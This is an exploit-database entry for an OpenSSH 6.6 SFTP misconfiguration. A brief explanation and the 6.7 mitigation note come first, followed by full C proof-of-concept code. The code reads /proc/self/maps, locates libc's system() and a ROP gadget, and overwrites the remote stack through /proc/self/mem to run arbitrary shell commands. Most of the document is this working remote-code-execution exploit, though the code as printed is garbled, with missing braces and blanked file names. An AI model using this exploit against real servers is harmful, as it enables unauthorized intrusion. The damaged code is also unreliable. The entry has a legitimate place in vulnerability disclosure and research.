OpenSSH 6.6 SFTP Misconfiguration remote code execution PoC

ID 1337DAY-ID-22739
Type zdt
Reporter Jann Horn
Modified 2014-10-09T00:00:00


OpenSSH versions 6.6 and below SFTP misconfiguration proof of concept remote code execution exploit for 64bit Linux.

                                            OpenSSH lets you grant SFTP access to users without allowing full command
execution using "ForceCommand internal-sftp". However, if you misconfigure
the server and don't use ChrootDirectory, the user will be able to access
all parts of the filesystem that he has access to - including procfs. On
modern Linux kernels (>=2.6.39, I think), /proc/self/maps reveals the
memory layout and /proc/self/mem lets you write to arbitrary memory
positions. Combine those and you get easy RCE.

The linux version of OpenSSH 6.7 contains a mitigation, see the release notes:

 * sftp-server(8): On platforms that support it, use prctl() to
   prevent sftp-server from accessing /proc/self/{mem,maps}

Here's my PoC for 64bit Linux:

#define _GNU_SOURCE

// (In other words, please don't use this against other people's machines.)

#include <libssh/libssh.h>
#include <libssh/sftp.h>
#include <stdlib.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <errno.h>

#define min(a,b) (((a)<(b))?(a):(b))

sftp_session sftp;

size_t grab_file(char *rpath, char **out) {
  size_t allocated = 4000, used = 0;
  *out = calloc(1, allocated+1);
  sftp_file f = sftp_open(sftp, rpath, O_RDONLY, 0);
  if (f == NULL) fprintf(stderr, "Error opening remote file %s: %s\n", rpath, ssh_get_error(sftp)), exit(1);
  while (1) {
    ssize_t nbytes = sftp_read(f, *out+used, allocated-used);
    if (nbytes < 0) fprintf(stderr, "Error reading remote file %s: %s\n", rpath, ssh_get_error(sftp)), exit(1);
    if (nbytes == 0) {
      (*out)[used] = '\0';
      return used;
    used += nbytes;
    if (used == allocated) {
      allocated *= 4;
      *out = realloc(*out, allocated);

void dump_file(char *name, void *buf, size_t len) {
  FILE *f = fopen(name, "w+");
  if (!f) perror("can't write to local file"), exit(1);
  if (fwrite(buf, 1, len, f) != len) fprintf(stderr, "local write failed\n"), exit(1);
  if (fclose(f)) fprintf(stderr, "fclose error\n"), exit(1);

size_t slurp_file(char *path, char **out) {
  size_t allocated = 4000, used = 0;
  *out = calloc(1, allocated+1);
  FILE *f = fopen(path, "r");
  if (f == NULL) perror("opening local file failed"), exit(1);
  while (1) {
    ssize_t nbytes = fread(*out+used, 1, allocated-used, f);
    if (nbytes < 0) fprintf(stderr, "Error reading local file %s: %s\n", path, strerror(errno)), exit(1);
    if (nbytes == 0) {
      (*out)[used] = '\0';
      if (fclose(f)) fprintf(stderr, "fclose error\n"), exit(1);
      return used;
    used += nbytes;
    if (used == allocated) {
      allocated *= 4;
      *out = realloc(*out, allocated);

int main(int argc, char **argv) {
  if (argc != 4) fprintf(stderr, "invocation: ./exploit host user 'shell commands here'\n"), exit(1);
  char *target_host = argv[1];
  char *target_user = argv[2];
  char *shell_commands = argv[3];

  ssh_session my_ssh_session;
  int rc;
  char *password;
  // Open session and set options
  my_ssh_session = ssh_new();
  if (my_ssh_session == NULL) exit(-1);
  ssh_options_set(my_ssh_session, SSH_OPTIONS_HOST, target_host);
  ssh_options_set(my_ssh_session, SSH_OPTIONS_USER, target_user);
  // Connect to server
  rc = ssh_connect(my_ssh_session);
  if (rc != SSH_OK) fprintf(stderr, "Error connecting to host: %s\n", ssh_get_error(my_ssh_session)), exit(-1);

  // Authenticate ourselves
  password = getpass("Password: ");
  rc = ssh_userauth_password(my_ssh_session, NULL, password);
  if (rc != SSH_AUTH_SUCCESS)
    fprintf(stderr, "Error authenticating with password: %s\n", ssh_get_error(my_ssh_session)), exit(-1);
  sftp = sftp_new(my_ssh_session);
  if (sftp == NULL) fprintf(stderr, "Error allocating SFTP session: %s\n", ssh_get_error(my_ssh_session)), exit(-1);

  rc = sftp_init(sftp);
  if (rc != SSH_OK) {
    fprintf(stderr, "Error initializing SFTP session: %s.\n", ssh_get_error(sftp));
    return rc;

  char *mappings;
  grab_file("/proc/self/maps", &mappings);
  //printf("/proc/self/maps dump: \n%s\n\n\n", mappings);

  printf("got /proc/self/maps. looking for libc...\n");
  // 7fc9e742b000-7fc9e75ad000 r-xp 00000000 fe:00 2753466                    /lib/x86_64-linux-gnu/
  long long start_addr, end_addr, offset;
  char *libc_path = NULL;
  long long stack_start_addr = 0, stack_end_addr;
  for (char *p = strtok(mappings, "\n"); p; p = strtok(NULL, "\n")) {
    if (strstr(p, " r-xp ") && strstr(p, "/libc-")) {
      if (libc_path) fprintf(stderr, "warning: two times libc?\n");
      printf("mapping line: %s\n", p);
      if (sscanf(p, "%Lx-%Lx %*4c %Lx", &start_addr, &end_addr, &offset) != 3) perror("scanf failed"), exit(1);
      libc_path = strdup(strchr(p, '/'));
      if (libc_path == NULL) fprintf(stderr, "no path in mapping?"), exit(1);
    if (strstr(p, "[stack]")) {
      if (stack_start_addr != 0) fprintf(stderr, "two stacks? no."), exit(1);
      printf("mapping line: %s\n", p);
      if (sscanf(p, "%Lx-%Lx ", &stack_start_addr, &stack_end_addr) != 2) perror("scanf failed"), exit(1);
  if (libc_path == NULL) fprintf(stderr, "unable to find libc\n"), exit(1);
  if (stack_start_addr == 0) fprintf(stderr, "unable to find stack"), exit(1);
  printf("remote libc is at %s\n", libc_path);
  printf("offset %Lx from libc is mapped to %Lx-%Lx\n", offset, start_addr, end_addr);

  char *libc;
  size_t libc_size = grab_file(libc_path, &libc);
  dump_file("", libc, libc_size);
  printf("downloaded libc, size is %zu bytes\n", libc_size);

  system("objdump -T | grep ' system$' | cut -d' ' -f1 > system.addr");
  char *system_offset_str;
  slurp_file("system.addr", &system_offset_str);
  long long system_offset;
  if (sscanf(system_offset_str, "%Lx", &system_offset) != 1) perror("scanf failed"), exit(1);
  long long remote_system_addr = start_addr+system_offset-offset;
  printf("remote system() function is at %Lx\n", remote_system_addr);

  printf("looking for ROP gadget `pop rdi;ret` (0x5fc3) in libc...\n");
  char *gadget = memmem(libc+offset, end_addr-start_addr, "\x5f\xc3", 2);
  if (gadget == NULL) fprintf(stderr, "no gadget found :(\n"), exit(1);
  long long gadget_address = start_addr + (gadget-(libc+offset));
  long long ret_address = gadget_address+1;
  printf("found gadget at %Lx\n", gadget_address);

  printf("remote stack is at %Lx-%Lx\n", stack_start_addr, stack_end_addr);
  printf("doing it the quick-and-dirty way (that means: pray that the target"
         "program was compiled with gcc, giving us 16-byte stack alignment)...\n");
  long long stack_len = stack_end_addr - stack_start_addr;
  /*if (stack_len > 32000) {
    stack_len = 32000;
    stack_start_addr = stack_end_addr - stack_len;
  char *new_stack = malloc(stack_len);

  // first fill it with our ret slide
  for (long long *s = (void*)new_stack; s<(long long*)(new_stack+stack_len); s++) {
    *s = ret_address;

  // put some shell commands in the head
  strcpy(new_stack, shell_commands);

  // put the mini-ROP-chain at the end
  // [address of pop rdi] [stack head] [address of system]
  long long *se = (void*)(new_stack + stack_len);
  se[-3] = gadget_address;
  se[-2] = stack_start_addr;
  se[-1] = remote_system_addr;

  printf("Prepared the new stack. Now comes the moment of truth: push the new stack over and pray.\n");
  sftp_file mem = sftp_open(sftp, "/proc/self/mem", O_RDWR, 0);
  if (mem == NULL) fprintf(stderr, "Error opening remote memory: %s\n", ssh_get_error(sftp)), exit(1);

  // first send over the string
  rc = sftp_seek64(mem, stack_start_addr);
  if (rc) fprintf(stderr, "Error seeking to remote stack: %s\n", ssh_get_error(sftp)), exit(1);
  ssize_t mem_written = sftp_write(mem, new_stack, strlen(shell_commands)+1);
  if (mem_written != strlen(shell_commands)+1) fprintf(stderr, "didn't write the whole new stack\n");

  // now send over the rest right-to-left
  for (long long off = stack_len-32000; off >= 0; off -= 32000) {
    rc = sftp_seek64(mem, stack_start_addr+off);
    if (rc) fprintf(stderr, "Error seeking: %s\n", ssh_get_error(sftp)), exit(1);
    mem_written = sftp_write(mem, new_stack+off, 32000);
    if (mem_written != 32000) fprintf(stderr, "stack write failed – that's probably good :)\n"), exit(0);

  return 0;

# [2018-04-09]  #